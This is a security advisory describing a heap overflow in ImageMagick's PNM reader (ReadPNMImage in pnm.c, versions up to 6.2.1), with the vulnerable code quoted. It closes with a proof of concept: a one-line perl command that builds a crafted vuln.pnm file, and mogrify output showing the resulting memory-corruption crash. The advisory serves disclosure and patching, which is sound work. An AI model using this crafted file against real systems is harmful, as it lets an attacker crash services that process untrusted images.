[UNIX] ImageMagick ReadPNMImage() Heap Overflow

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  ImageMagick ReadPNMImage() Heap Overflow
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SUMMARY

 <http://www.imagemagick.org> ImageMagick is "a free software suite to 
create, edit, and compose bitmap images. It can read, convert and write 
images in a large variety of formats".

Remote exploitation of a heap overflow vulnerability in ImageMagick's 
ReadPNMImage function allows execution of arbitrary code or cause denial 
of service.

DETAILS

Vulnerable Systems:
 * ImageMagick versions 6.x up to and including 6.2.1.

Immune Systems:
 * ImageMagick version 6.2.2.

Heap Overflow Vulnerability:
A heap overflow exists in ReadPNMImage() function, that is used to decode 
a PNM image files.
The vulnerable code in pnm.c:
static Image *ReadPNMImage(const ImageInfo *image_info,ExceptionInfo 
*exception)
{
..
    if ((format == '1') || (format == '4'))
      max_value=1;  /* bitmap */
    else
      max_value=PNMInteger(image,10);
    image->depth=max_value < 256 ? 8UL : QuantumDepth;
    if ((format != '3') && (format != '6'))
      {
        image->storage_class=PseudoClass;
        image->colors=(unsigned long) (max_value >= MaxColormapSize ? 
MaxColormapSize : max_value+1);
      }
..
        if (AllocateImageColormap(image,image->colors) == MagickFalse)
          
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
        if (format == '7')
          {
            /*
              Initialize 332 colormap.
            */
            i=0;
            for (pixel.red=0; pixel.red < 8; pixel.red++)
              for (pixel.green=0; pixel.green < 8; pixel.green++)
                for (pixel.blue=0; pixel.blue < 4; pixel.blue++)
                {
                  image->colormap[i].red=ScaleXToQuantum(pixel.red,0x07);
                  
image->colormap[i].green=ScaleXToQuantum(pixel.green,0x07);
                  
image->colormap[i].blue=ScaleXToQuantum(pixel.blue,0x03);
                  i++;
                }
          }

Its possible to manipulate with image->colors value, because it's 
attributed to "max_value" or MaxColormapSize variable. Allocation of 
memory for image->colormap is based on image->colors variable 
(AllocateImageColormap() function).
If value of "image->colors" is for example 1, only 1*sizeof(PixelPacket) 
bytes of memory were allocated. Next, when format of PNM file is "7", 
image->colormap buffer is initialized by 332 colormaps. If 
image->colors*sizeof(PixelPacket) bytes are not enough for it, heap 
structures are overflowed. We cannot control contents of this buffer, so 
execution of arbitrary code is very difficult or impossible, but to crash 
it is easy.

Proof of Concept:
Example of crafted PNM file:
bash$ perl -e 'print "P7\n1\n1 1\n1"' > vuln.pnm

Test vulnerability with "mogrify" - standard ImageMagick utility:
bash$ mogrify vuln.pnm
*** glibc detected *** malloc(): memory corruption: 0x08701198 ***
Przerwane (core dumped)
bash$


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Damian 
Put.
The original article can be found at:  
<http://www.overflow.pl/adv/imheapoverflow.txt> 
http://www.overflow.pl/adv/imheapoverflow.txt



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